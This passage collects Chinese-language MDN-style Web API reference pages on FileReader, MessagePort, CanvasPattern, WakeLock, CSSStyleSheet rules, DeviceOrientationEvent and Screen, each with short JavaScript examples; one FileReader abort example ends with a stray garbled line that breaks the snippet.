    <label for="avatar">Choose a profile picture:</label>
    <input
 type="file"
 id="avatar"
 name="avatar"
 accept="image/png, image/jpeg" />
  </div>

  <img src="" class="preview" height="200" alt="Image preview..." />

  <div class="event-log">
    <label>Event log:</label>
    <textarea readonly class="event-log-contents"></textarea>
  </div>
</div>
```

```
img.preview {
  margin: 1rem 0;
}

.event-log-contents {
  width: 18rem;
  height: 5rem;
  border: 1px solid black;
  margin: 0.2rem;
  padding: 0.2rem;
}

.example {
  display: grid;
  grid-template-areas:
    "select log"
    "preview log";
}

.file-select {
  grid-area: select;
}

.preview {
  grid-area: preview;
}

.event-log {
  grid-area: log;
}

.event-log > label {
  display: block;
}

.event-log-contents {
  resize: none;
}
```

#### JS

```js
const fileInput = document.querySelector('input[type="file"]');
const preview = document.querySelector("img.preview");
const eventLog = document.querySelector(".event-log-contents");
const reader = new FileReader();

function handleEvent(event) {
  eventLog.textContent =
    eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;

  if (event.type === "load") {
    preview.src = reader.result;
  }
}

function addListeners(reader) {
  reader.addEventListener("loadstart", handleEvent);
  reader.addEventListener("load", handleEvent);
  reader.addEventListener("loadend", handleEvent);
  reader.addEventListener("progress", handleEvent);
  reader.addEventListener("error", handleEvent);
  reader.addEventListener("abort", handleEvent);
}

function handleSelected(e) {
  eventLog.textContent = "";
  const selectedFile = fileInput.files[0];
  if (selectedFile) {
    addListeners(reader);
    reader.readAsDataURL(selectedFile);
  }
}

fileInput.addEventListener("change", handleSelected);
```

#### 结果

规范
--

| Specification |
| --- |
| File API # dfn-load-event |
| File API # dfn-onload |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

请参阅
---

* Related events: `FileReader.loadstart_event` (en-US), `FileReader.loadend_event` (en-US), `FileReader.progress_event` (en-US), `FileReader.error_event` (en-US), `FileReader.abort_event`


FileReader: 中止事件 (abort) - Web API 接口参考

FileReader: 中止事件 (abort)
========================

在中止读取时会触发 `abort` 事件：例如程序调用`FileReader.abort()`.

|  |  |
| --- | --- |
| Bubbles | No |
| 可取消 | No |
| 接口 | `ProgressEvent` |
| 事件处理属性 | `FileReader.onabort` |

示例
--

### 实例

#### HTML

```html
<div class="example">
  <div class="file-select">
    <label for="avatar">选择你的头像：</label>
    <input
 type="file"
 id="avatar"
 name="avatar"
 accept="image/png, image/jpeg" />
  </div>

  <img src="" class="preview" height="200" alt="图像预览..." />

  <div class="event-log">
    <label>事件日志：</label>
    <textarea readonly class="event-log-contents"></textarea>
  </div>
</div>
```

```
img.preview {
  margin: 1rem 0;
}

.event-log-contents {
  width: 18rem;
  height: 5rem;
  border: 1px solid black;
  margin: 0.2rem;
  padding: 0.2rem;
}

.example {
  display: grid;
  grid-template-areas:
    "select log"
    "preview log";
}

.file-select {
  grid-area: select;
}

.preview {
  grid-area: preview;
}

.event-log {
  grid-area: log;
}

.event-log > label {
  display: block;
}

.event-log-contents {
  resize: none;
}
```

#### JS

```js
const fileInput = document.querySelector('input[type="file"]');
const preview = document.querySelector("img.preview");
const eventLog = document.querySelector(".event-log-contents");
const reader = new FileReader();

function handleEvent(event) {
  eventLog.textContent =
    eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;

  if (event.type === "load") {
    preview.src = reader.result;
  }
}

function addListeners(reader) {
  reader.addEventListener("loadstart", handleEvent);
  reader.addEventListener("load", handleEvent);
  reader.addEventListener("loadend", handleEvent);
  reader.addEventListener("progress", handleEvent);
  reader.addEventListener("error", handleEvent);
  reader.addEventListener("abort", handleEvent);
}

function handleSelected(e) {
  eventLog.textContent = "";
  const selectedFile = fileInput.files[0];
  if (selectedFile) {
    addListeners(reader);
    reader.readAsDataURL(selectedFile);
  }
  reader.abort();
}

fileInput.addEventListener("change", handleSelected);
返回返回发的;
```

#### 结果

规范
--

| Specification |
| --- |
| File API # dfn-abort-event |
| File API # dfn-onabort |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 相关事件：`loadstart` (en-US), `loadend` (en-US), `progress` (en-US), `error` (en-US), `load`.


FileReader() - Web API 接口参考

FileReader()
============

使用 **`FileReader()`** 构造器去创建一个新的 FileReader.

更多关于 `FileReader`, 查看在 Web 应用中使用 files。

语法
--

```js
var reader = new FileReader();
```

### 参数

None.

例子
--

以下代码展示了如何使用 `FileReader()` 构造器创建 `FileReader` 对象，和`FileReader`对象的用法。

```js
function printFile(file) {
  var reader = new FileReader();
  reader.onload = function (evt) {
    console.log(evt.target.result);
  };
  reader.readAsText(file);
}
```

规范
--

| Specification |
| --- |
| File API # filereaderConstrctr |

参见
--

* 在 web 应用程序中使用文件


FileReader.abort() - Web API 接口参考

FileReader.abort()
==================

该方法可以取消 FileReader 的读取操作，触发之后 `readyState` 为已完成（DONE）。

语法
--
```

instanceOfFileReader.abort();
```

### 例外情况

`DOM_FILE_ABORT_ERR`

对一个没有正在进行读取操作（`readyState` 不是 `LOADING`）的 `FileReader` 进行 `abort` 操作，会抛出 `DOM_FILE_ABORT_ERR` 错误。

规范
--

| Specification |
| --- |
| File API # abort |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `FileReader`


FileReader.error - Web API 接口参考

FileReader.error
================

返回读取文件时的错误信息

语法
--
```

var error = instanceOfFileReader.error
```

返回值
---

返回一个 `DOMError`

规范
--

| Specification |
| --- |
| File API # dom-filereader-error |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `FileReader`


FileReader.readAsArrayBuffer() - Web API 接口参考

FileReader.readAsArrayBuffer()
==============================

`FileReader` 接口提供的 **`readAsArrayBuffer()`** 方法用于启动读取指定的 `Blob` 或 `File` 内容。当读取操作完成时，`readyState` 变成 `DONE`（已完成），并触发 `loadend` 事件，同时 `result` 属性中将包含一个 `ArrayBuffer` 对象以表示所读取文件的数据。

语法
--
```

instanceOfFileReader.readAsArrayBuffer(blob);
```

### 参数

`blob`

即将被读取的 `Blob` 或 `File` 对象。

规范
--

| Specification |
| --- |
| File API # readAsArrayBuffer |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `FileReader`


FileReader.readAsText() - Web API 接口参考

FileReader.readAsText()
=======================

`readAsText` 方法可以将 Blob 或者 File 对象转根据特殊的编码格式转化为内容 (字符串形式)

这个方法是异步的，也就是说，只有当执行完成后才能够查看到结果，如果直接查看是无结果的，并返回 undefined

也就是说必须要挂载 实例下的 onload 或 onloadend 的方法处理转化后的结果

当转化完成后， readyState 这个参数就会转换 为 done 即完成态， event("loadend") 挂载的事件会被触发，并可以通过事件返回的形参得到中的 FileReader.result 属性得到转化后的结果

语法
--
```

 instance of FileReader.readAsText(blob[, encoding]);
```

### 参数

`二进制对象`

Blob类型 或 File类型

编码类型 (可选)

传入一个字符串类型的编码类型，如缺省，则默认为“utf-8”类型

规范
--

| Specification |
| --- |
| File API # readAsDataText |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* FileReader


FileReader.readAsBinaryString() - Web API 接口参考

FileReader.readAsBinaryString()
===============================

**非标准:** 该特性是非标准的，请尽量不要在生产环境中使用它！

`readAsBinaryString` 方法会读取指定的 `Blob` 或 `File` 对象，当读取完成的时候，`readyState` 会变成`DONE`（已完成），并触发 `loadend` 事件，同时 `result` 属性将包含所读取文件原始二进制格式。

注意：从 2012 年 7 月 12 日起，该方法已从 W3C 工作草案废除。

语法
--
```

instanceOfFileReader.readAsBinaryString(blob);
```

### 参数

`blob`

即将被读取的 `Blob` 或者 `File` 对象。

示例
--

```js
var canvas = document.createElement("canvas");
var height = 200;
var width = 200;

canvas.width = width;
canvas.height = height;

var ctx = canvas.getContext("2d");

ctx.strokeStyle = "#090";
ctx.beginPath();
ctx.arc(width / 2, height / 2, width / 2 - width / 10, 0, Math.PI \* 2);
ctx.stroke();

canvas.toBlob(function (blob) {
  var reader = new FileReader();

  reader.onloadend = function () {
    console.log(reader.result);
  };

  reader.readAsBinaryString(blob);
});
```

规范
--

该方法已从 FileAPI 标准移除，请使用 `FileReader.readAsArrayBuffer()` 代替。

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `FileReader`


FileReader.result - Web API 接口参考

FileReader.result
=================

返回文件的内容。只有在读取操作完成后，此属性才有效，返回的数据的格式取决于是使用哪种读取方法来执行读取操作的。

语法
--
```

var file = instanceOfFileReader.result
```

值
-

一个字符串或者一个`ArrayBuffer` ，这取决于读取操作是使用哪种方法来进行的。

规范
--

| Specification |
| --- |
| File API # dom-filereader-result |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `FileReader`


FileReader.readAsDataURL() - Web API 接口参考

FileReader.readAsDataURL()
==========================

`readAsDataURL` 方法会读取指定的 `Blob` 或 `File` 对象。读取操作完成的时候，`readyState` 会变成已完成`DONE`，并触发 `loadend` 事件，同时 `result` 属性将包含一个`data:`URL 格式的字符串（base64 编码）以表示所读取文件的内容。

语法
--

```js
readAsDataURL(blob)
```

### 参数

`blob`

即将被读取的 `Blob` 或 `File` 对象。

示例
--

### HTML

```html
<input type="file" onchange="previewFile()" /><br />
<img src="" height="200" alt="Image preview..." />
```

### JavaScript

```js
function previewFile() {
  var preview = document.querySelector("img");
  var file = document.querySelector("input[type=file]").files[0];
  var reader = new FileReader();

  reader.addEventListener(
    "load",
    function () {
      preview.src = reader.result;
    },
    false,
  );

  if (file) {
    reader.readAsDataURL(file);
  }
}
```

### 演示

读取多个文件的例子
---------

### HTML

```html
<input id="browse" type="file" onchange="previewFiles()" multiple />
<div id="preview"></div>
```

### JavaScript

```js
function previewFiles() {
  var preview = document.querySelector("#preview");
  var files = document.querySelector("input[type=file]").files;

  function readAndPreview(file) {
    // 确保 `file.name` 符合我们要求的扩展名
    if (/\.(jpe?g|png|gif)$/i.test(file.name)) {
      var reader = new FileReader();

      reader.addEventListener(
        "load",
        function () {
          var image = new Image();
          image.height = 100;
          image.title = file.name;
          image.src = this.result;
          preview.appendChild(image);
        },
        false,
      );

      reader.readAsDataURL(file);
    }
  }

  if (files) {
    [].forEach.call(files, readAndPreview);
  }
}
```

**备注：** Internet Explorer 10 之前的版本并不支持 `FileReader()`。关于图片文件预览的兼容性解决方案，可以查看一种可能的跨浏览器图像预览解决方案或者这个更加完善的示例。

规范
--

| Specification |
| --- |
| File API # readAsDataURL |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `FileReader`
* `URL.createObjectURL()`


FileReader.readyState - Web API 接口参考

FileReader.readyState
=====================

`FileReader` **`readyState`** 属性提供了 `FileReader` 在读取操作时的当前状态。`FileReader` 存在以下状态之一：

| 值 | 状态 | 描述 |
| --- | --- | --- |
| `0` | `EMPTY` | reader 已经创建。还没有调用任何方法。 |
| `1` | `LOADING` | 读取的方法已经被调用 |
| `2` | `DONE` | 完成操作 |

`EMPTY`

`FileReader` 已经创建，但是仍没有 readAs 方法被调用。

`LOADING`

readAs 方法已经被调用。正在读取 `File` 或 `Blob`，并且尚未发生错误。

`DONE`

读取操作完成。这意味着：全部的 `File` 或 `Blob` 已经读到内存中，或者文件读取错误发生，或者调用了 `abort()`，或者取消了读取。

示例
--

```js
const reader = new FileReader();
console.log("EMPTY", reader.readyState); // readyState will be 0

reader.readAsText(blob);
console.log("LOADING", reader.readyState); // readyState will be 1

reader.onloadend = () => {
  console.log("DONE", reader.readyState); // readyState will be 2
};
```

值
-

一个数值，是 `FileReader` API 定义的三个可能状态的常量之一。

规范
--

| Specification |
| --- |
| File API # dom-filereader-readystate |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Blob`


MessagePort.onmessage - Web API 接口参考

MessagePort.onmessage
=====================

`MessagePort` 接口的 **`onmessage`** 事件处理程序是一个 `EventListener`, 当在端口上触发一个类型为 **message** 的`MessageEvent` 时被调用 - 即，当端口接收到消息时。

**备注：** 此特性在 Web Worker 中可用

Syntax
------
```

channel.onmessage = function() { ... };
```

Example
-------

In the following code block, you can see a new channel being created using the `MessageChannel.MessageChannel` constructor. When the IFrame has loaded, we pass `MessageChannel.port2` to the IFrame using `MessagePort.postMessage` (en-US) along with a message. The `handleMessage` handler then responds to a message being sent back from the IFrame using `onmessage`, putting it into a paragraph — `MessageChannel.port1` is listened to, to check when the message arrives.

```js
var channel = new MessageChannel();
var para = document.querySelector("p");

var ifr = document.querySelector("iframe");
var otherWindow = ifr.contentWindow;

ifr.addEventListener("load", iframeLoaded, false);

function iframeLoaded() {
  otherWindow.postMessage("Hello from the main page!", "\*", [channel.port2]);
}

channel.port1.onmessage = handleMessage;
function handleMessage(e) {
  para.innerHTML = e.data;
}
```

For a full working example, see our channel messaging basic demo on Github (run it live too).

Specifications
--------------

| Specification |
| --- |
| HTML Standard # event-message |
| HTML Standard # handler-messageport-onmessage |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Using channel messaging


CanvasPattern.setTransform() - Web API 接口参考

CanvasPattern.setTransform()
============================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

**`CanvasPattern.setTransform()`** 方法使用 `DOMMatrix` 对象作为图案的变换矩阵，并在此图案上调用它。

语法
--

```js
setTransform(matrix)
```

### 参数

`matrix`

`DOMMatrix`，被用作图案的变换矩阵。

示例
--

### 使用 `setTransform` 方法

这是一段简单的代码片段，使用 `setTransform` 方法创建一个来自 `DOMMatrix` 具有指定图案变化的`CanvasPattern`。如例子所示，如果你把图案赋值给当前的 `fillStyle`，当你使用 `fillRect()` 方法时，图案会被应用到 canvas 上绘制出效果。

#### HTML

```html
<canvas id="canvas"></canvas> <svg id="svg1"></svg>
```

#### JavaScript

```js
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");

var svg1 = document.getElementById("svg1");
var matrix = svg1.createSVGMatrix();

var img = new Image();
img.src = "canvas\_createpattern.png";

img.onload = function () {
  var pattern = ctx.createPattern(img, "repeat");
  pattern.setTransform(matrix.rotate(-45).scale(1.5));
  ctx.fillStyle = pattern;
  ctx.fillRect(0, 0, 400, 400);
};
```

修改下面的代码并在线查看 canvas 的变化：
```

<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
<svg id="svg1" style="display:none"></svg>
<div class="playable-buttons">
  <input id="edit" type="button" value="Edit" />
  <input id="reset" type="button" value="Reset" />
</div>
<textarea id="code" class="playable-code" style="height:120px">
var img = new Image();
img.src = 'canvas_createpattern.png';
img.onload = function() {
  var pattern = ctx.createPattern(img, 'repeat');
  pattern.setTransform(matrix.rotate(-45).scale(1.5));
  ctx.fillStyle = pattern;
  ctx.fillRect(0,0,400,400);
};</textarea
>
```

```
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");
var textarea = document.getElementById("code");
var reset = document.getElementById("reset");
var edit = document.getElementById("edit");
var code = textarea.value;

var svg1 = document.getElementById("svg1");
var matrix = svg1.createSVGMatrix();

function drawCanvas() {
  ctx.clearRect(0, 0, canvas.width, canvas.height);
  eval(textarea.value);
}

reset.addEventListener("click", function () {
  textarea.value = code;
  drawCanvas();
});

edit.addEventListener("click", function () {
  textarea.focus();
});

textarea.addEventListener("input", drawCanvas);
window.addEventListener("load", drawCanvas);
```

规范
--

| Specification |
| --- |
| HTML Standard # dom-canvaspattern-settransform-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* 接口定义，`CanvasPattern`
* `DOMMatrix`


WakeLock.request() - Web API 接口参考

WakeLock.request()
==================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

**安全上下文:** 此项功能仅在一些支持的浏览器的安全上下文（HTTPS）中可用。

**`WakeLock.request()`** 方法用来获取屏幕唤醒锁定权限，防止屏幕变暗、关闭或展示屏幕保护程序。

语法
--
```

WakeLock.request(wakeLockType)
```

### 参数

`wakeLockType`

唤醒锁定类型，目前必须传 `"screen"` 。

### 返回值

决议为 `WakeLockSentinel` (en-US) 的 `Promise`。

### 异常

`NotAllowedError`

当唤醒锁定不可用的时候抛出，例如在：

* 由于屏幕唤醒锁定策略，Document 不允许使用屏幕唤醒锁定。
* Document 不完全激活。
* Document 被隐藏。
* User Agent 无法获取平台的唤醒锁定。

示例
--

以下示例获取屏幕唤醒锁定并在 10 分钟后释放它：
```

function tryKeepScreenAlive(minutes) {
  navigator.wakeLock.request("screen").then(lock => {
    setTimeout(() => lock.release(), minutes * 60 * 1000);
  });
}

tryKeepScreenAlive(10);
```

规范
--

| Specification |
| --- |
| Screen Wake Lock API # the-request-method |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

相关链接
----

* `WakeLock`
* `Navigator.wakeLock` (en-US)


CSSStyleSheet.insertRule() - Web API 接口参考

CSSStyleSheet.insertRule()
==========================

**`CSSStyleSheet.insertRule()`** 方法用来给当前样式表插入新的样式规则（CSS rule），并且包含一些限制。

**备注：** 尽管 `insertRule()` 是 `CSSStyleSheet` 的一个方法，但它实际插入的地方是 `CSSStyleSheet.cssRules` 的内部 `CSSRuleList`。

语法
--
```

stylesheet.insertRule(rule [, index])
```

### 参数

`rule`

一个包含了将要插入的规则的 `DOMString`。规则字符串必须包含的内容取决于它的类型：

* **rule-sets 类型**（普通带有选择器的规则）\*\*，\*\*需要选择器 (en-US)和样式声明；
* **at-rules 类型**（以 `@` 开头的规则，如 `@import, @media` 等）\*\*，\*\*需要 at-identifier 和规则内容。

`index` 可选

一个小于或等于 `stylesheet.cssRules.length` 的正整数，表示新插入的规则在`CSSStyleSheet.cssRules` 中的位置。默认值是 `0`。（在过去的实现中，这个参数是必需的，详情参见浏览器兼容性。）

### 返回值

新插入的规则在当前样式表规则列表中的索引。

### 限制

CSS 中存在一些直观和不是太直观能感受到的限制规则影响着某些样式规则能否被插入。违反这些规则可能会导致一些 DOM 异常（`DOMException`）。

* 如果 `index` > `CSSRuleList.length`，该方法会中止并返回一个 `IndexSizeError` 错误；
* 如果 `rule` 由于一些 CSS 约束而不能被插入到 `index` `0`，该方法会中止并返回一个 `HierarchyRequestError` 错误；
* 如果 `rule` 参数中包含超过一条样式规则，该方法会中止并返回一个 `SyntaxError`；
* 如果尝试在一条普通规则后插入一条 `@import` 这种类型的规则，该方法会中止并返回一个 `HierarchyRequestError` 错误；
* 如果 `rule` 是 `@namespace` 并且规则列表中有另外的 `@import` 和/或 `@namespace` 规则，该方法中止并返回一个 `InvalidStateError` 错误；
示例
--

### 在样式表顶部插入新的规则

下面的代码片段将在样式表 `myStyle` 的顶部插入一条新规则：

```js
myStyle.insertRule("#blanc { color: white }", 0);
```

### 实现一个添加样式表规则的函数

```js
/\*\*
 \* 在文档中添加一条样式表规则（这可能是动态改变 class 名的更好的实现方法，
 \* 使得 style 样式内容可以保留在真正的样式表中，以便添加额外的元素到 DOM 中）。
 \* 注意这里有必要声明一个数组，因为 ECMAScript 不保证对象按预想的顺序遍历，
 \* 并且 CSS 也是依赖于顺序的。
 \* 类型为数组的参数 decls 接受一个 JSON 编译的数组。
 \* @example
addStylesheetRules([
 ['h2', // 还接受第二个参数作为数组中的数组
 ['color', 'red'],
 ['background-color', 'green', true] // 'true' for !important rules
 ],
 ['.myClass',
 ['background-color', 'yellow']
 ]
]);
 \*/
function addStylesheetRules(decls) {
  var style = document.createElement("style");
  document.getElementsByTagName("head")[0].appendChild(style);
  if (!window.createPopup) {
    /\* For Safari \*/
    style.appendChild(document.createTextNode(""));
  }
  var s = document.styleSheets[document.styleSheets.length - 1];
  for (var i = 0, dl = decls.length; i < dl; i++) {
    var j = 1,
      decl = decls[i],
      selector = decl[0],
      rulesStr = "";
    if (Object.prototype.toString.call(decl[1][0]) === "[object Array]") {
      decl = decl[1];
      j = 0;
    }
    for (var rl = decl.length; j < rl; j++) {
      var rule = decl[j];
      rulesStr +=
        rule[0] + ":" + rule[1] + (rule[2] ? " !important" : "") + ";\n";
    }

    if (s.insertRule) {
      s.insertRule(selector + "{" + rulesStr + "}", s.cssRules.length);
    } else {
      /\* IE \*/
      s.addRule(selector, rulesStr, -1);
    }
  }
}
```

兼容补丁
----

以下补丁将会在 IE 5-8 中纠正提供给 `insertRule()` 的参数，使其标准化。to standardize them in Internet Explorer 5–8. 它通过一个函数对 `insertRule()` 进行补充，使得在参数传递给原生的 `insertRule()` 函数之前将其中的选择器从规则中分离出来。
```

(function(Sheet_proto){
  var originalInsertRule = Sheet_proto.insertRule;

  if (originalInsertRule.length === 2){ // 2 个托管参数: (selector, rules)
    Sheet_proto.insertRule = function(selectorAndRule){
      // 首先，从规则中分离选择器
      a: for (var i=0, Len=selectorAndRule.length, isEscaped=0, newCharCode=0; i !== Len; ++i) {
        newCharCode = selectorAndRule.charCodeAt(i);
        if (!isEscaped && (newCharCode === 123)) { // 123 = "{".charCodeAt(0)
          // 其次，找到花括号
          var openBracketPos = i, closeBracketPos = -1;

          for (; i !== Len; ++i) {
            newCharCode = selectorAndRule.charCodeAt(i);
            if (!isEscaped && (newCharCode === 125)) { // 125 = "}".charCodeAt(0)
              closeBracketPos = i;
            }
            isEscaped ^= newCharCode===92?1:isEscaped; // 92 = "\\".charCodeAt(0)
          }

          if (closeBracketPos === -1) break a; // No closing bracket was found!
            /*else*/ return originalInsertRule.call(
            this, // 想要改变的样式表
            selectorAndRule.substring(0, openBracketPos), // 选择器
            selectorAndRule.substring(closeBracketPos), // 规则
            arguments[3] // 插入的索引
          );
        }

        // Works by if the char code is a backslash, then isEscaped
        // gets flipped (XOR-ed by 1), and if it is not a backslash
        // then isEscaped gets XORed by itself, zeroing it
        isEscaped ^= newCharCode===92?1:isEscaped; // 92 = "\\".charCodeAt(0)
      }
      // Else, there is no unescaped bracket
      return originalInsertRule.call(this, selectorAndRule, "", arguments[2]);
    };
  }
})(CSSStyleSheet.prototype);
```

规范
--

| Specification |
| --- |
| CSS Object Model (CSSOM) # dom-cssstylesheet-insertrule |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### 传统浏览器支持

为了支持 Internet Explorer 8 和更早版本，请使用：`addRule(selector, rule [, index]);`。例如：`addRule('pre', 'font: 14px verdana'); // add rule at end`

另外注意非标准的 `removeRule()` 和 `.rules` 方法分别用 `deleteRule()` 和`.cssRules` 代替。

参见
--

* `CSSStyleSheet.deleteRule`
* Cross-Browser CSS-rules ordering (CSS1)
* Quirksmode - CSS


CSSStyleSheet.deleteRule() - Web API 接口参考

CSSStyleSheet.deleteRule()
==========================

### 概述

**deleteRule**方法用来从当前样式表对象中删除指定的样式规则。

### 语法
```

stylesheet.deleteRule(index)
```

### 参数

* `index 是一个数字，用来指定样式规则的位置`.
### 示例
```

 myStyles.deleteRule(0);
```

### 参见

* insertRule
### 规范

deleteRule


DeviceOrientationEvent.absolute - Web API 接口参考

DeviceOrientationEvent.absolute
===============================

表示该设备是否提供绝对定位数据 (这个数据是关于地球的坐标系) 或者使用了由设备决定的专门的坐标系。查看更多关于 Orientation and motion data explained 的细节。

语法
--
```

var absolute = instanceOfDeviceOrientationEvent.absolute;
```

如果方向数据跟地球坐标系和设备坐标系有差异，则`absolute`为`true`，如果方向数据由设备本身的坐标系提供，则`absolute`为`false`。

说明
--

| Specification |
| --- |
| DeviceOrientation Event Specification # ref-for-dom-deviceorientationevent-absolute |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `DeviceOrientationEvent`
* Detecting device orientation
* Orientation and motion data explained
* `window.ondeviceorientation`
* `deviceorientation`


DeviceOrientationEvent.beta - Web API 接口参考

DeviceOrientationEvent.beta
===========================

返回设备旋转时 X 轴的值。即：角度的数值，范围介于 -180 ------ 180 之间 表示设备正在向前或向后倾斜。更多信息见 方向和运动数据详解

语法
--
```

var beta = instanceOfDeviceOrientationEvent.beta;
```

规范
--

| Specification |
| --- |
| DeviceOrientation Event Specification # ref-for-dom-deviceorientationevent-beta② |

浏览器的兼容性
-------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `DeviceOrientationEvent`
* Detecting device orientation
* Orientation and motion data explained
* `window.ondeviceorientation`
* `deviceorientation`


DeviceOrientationEvent.gamma - Web API 接口参考

DeviceOrientationEvent.gamma
============================

返回设备旋转时 Y 轴的值;即，多少度，介于之间`-90`和`90`，通过该装置被接通向左或向右。见方向和运动数据解释的细节。

Syntax
------
```

var gamma = orientationEvent.gamma;
```

Specifications
--------------

| Specification |
| --- |
| DeviceOrientation Event Specification # ref-for-dom-deviceorientationevent-gamma② |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `DeviceOrientationEvent`
* Detecting device orientation
* Orientation and motion data explained
* `window.ondeviceorientation`
* `deviceorientation`


DeviceOrientationEvent.alpha - Web API 接口参考

DeviceOrientationEvent.alpha
============================

返回设备旋转时 Z 轴的值；即：设备围绕屏幕中心扭转的角度。详细信息请查看方向和运动数据。

Syntax
------
```

var alpha = instanceOfDeviceOrientationEvent.alpha;
```

Specifications
--------------

| Specification |
| --- |
| DeviceOrientation Event Specification # ref-for-dom-deviceorientationevent-alpha③ |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `DeviceOrientationEvent`
* Detecting device orientation
* Orientation and motion data explained
* `window.ondeviceorientation`
* `deviceorientation`


Screen.availHeight - Web API 接口参考

Screen.availHeight
==================

概述
--

返回浏览器窗口在屏幕上可占用的垂直空间，即最大高度。

语法
--
```

iAvail = window.screen.availHeight
```

示例
--

```js
if (window.screen.availHeight !== window.screen.height) {
  // something's in the way!
  // use available to size window
}
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-screen-availheight |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Screen.colorDepth - Web API 接口参考

Screen.colorDepth
=================

返回屏幕的颜色深度（color depth）。根据 CSSOM( CSS 对象模型 ) 视图，为兼容起见，该值总为 24。

示例
--

```js
// 检测屏幕的颜色深度
if (window.screen.colorDepth < 8) {
  // 使用低色彩版本页面
} else {
  // 使用常规的彩色版页面
}
```

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-screen-colordepth |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Screen.pixelDepth`


Screen.height - Web API 接口参考

Screen.height
=============

概述
--

返回屏幕的高度（单位：像素）。

语法
--
```

iHeight = window.screen.height
```

示例
--

```js
if (window.screen.availHeight !== window.screen.height) {
  // something is occupying some screen real estate!
}
```

备注
--

注意，该属性返回的高度值并不是全部对浏览器窗口可用。小工具（Widgets），如任务栏或其他特殊的程序窗口，可能会减少浏览器窗口和其他应用程序能够利用的空间。

当返回屏幕高度时，IE 会考虑缩放设置。只有当缩放比例为 100% 时，IE 才会返回真实的屏幕高度。

规范
--

| Specification |
| --- |
| CSSOM View Module # dom-screen-height |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Screen.lockOrientation() - Web API 接口参考

Screen.lockOrientation()
========================

**实验性:** **这是一项实验性技术**
在将其用于生产之前，请仔细检查浏览器兼容性表格。

`lockOrientation` 此方法会把屏幕锁定为指定的方向。

**备注：** 此方法仅适用于已安装的 Web apps 或 全屏模式 (en-US) 的 Web 页面。

使用方法
----

```js
lockedAllowed = window.screen.lockOrientation(orientation);
```

### 参数介绍

*orientation*

需要锁定屏幕的方向。这个参数是一个字符串或者是一个由字符串组成的数组。通过多个字符串可以让屏幕只在选定的方向上进行旋转。

以下的字符串即表示你也许会指定的一些可能的方向。

`portrait-primary`

它表示屏幕处于主要的肖像模式时的方向。如果设备处于正常位置且该位置处于纵向位置，或设备的正常位置处于横向并且设备保持顺时针转动 90°，则会在主肖像模式下考虑屏幕。正常的位置是依赖于设备的。

`portrait-secondary`

它表示屏幕处于辅助肖像模式时的方向。如果设备与正常位置保持 180°，并且该位置处于纵向位置，或者设备的正常位置处于横向位置，并且持有的设备逆时针转动 90°，则屏幕将处于辅助人像模式。正常的位置是依赖于设备的。

`landscape-primary`

它代表了屏幕处于主要风景模式时的方向。如果设备保持在正常位置，并且该位置处于横向位置，或者设备的正常位置处于纵向位置，并且所保持的设备顺时针旋转 90°，则会将其视为主要横向模式。正常的位置是依赖于设备的。

`landscape-secondary`

它代表了屏幕处于次要风景模式时的方向。如果设备与其正常位置保持 180° 并且该位置处于横向，或者如果设备的正常位置是纵向的，并且所保持的设备逆时针旋转 90°，则将其视为次要横向模式。正常的位置是依赖于设备的。

`portrait`

它表示同时包含 `portrait-primary` 和 `portrait-secondary`.

`landscape`

它表示同时包含 `landscape-primary` 和 `landscape-secondary`.

`default`

它代表 `portrait-primary` 和 `landscape-primary` 主要取决于设备的自然方向。例如，如果面板分辨率为 1280 \* 800，则 `default` 为横向，如果分辨率为 800 \* 1280，则 `default` 为纵向。

**备注：** 可同时设置多个锁定值。因此，如果锁定设置为只有一个方向，屏幕方向将永远不会改变，直到屏幕方向解锁。否则，只要方向在设备锁定的方向之中，屏幕方向就会从一个方向改变到另一个方向。

返回值
---

如果方向被授权锁定，则返回 `true` ;如果方向锁定被拒绝，则返回 `false`。请注意，返回值并不表示屏幕方向确实被锁定：可能会有延迟。

示例
--

### 使用 `DOMString` 参数

```js
screen.lockOrientationUniversal =
  screen.lockOrientation ||
  screen.mozLockOrientation ||
  screen.msLockOrientation;

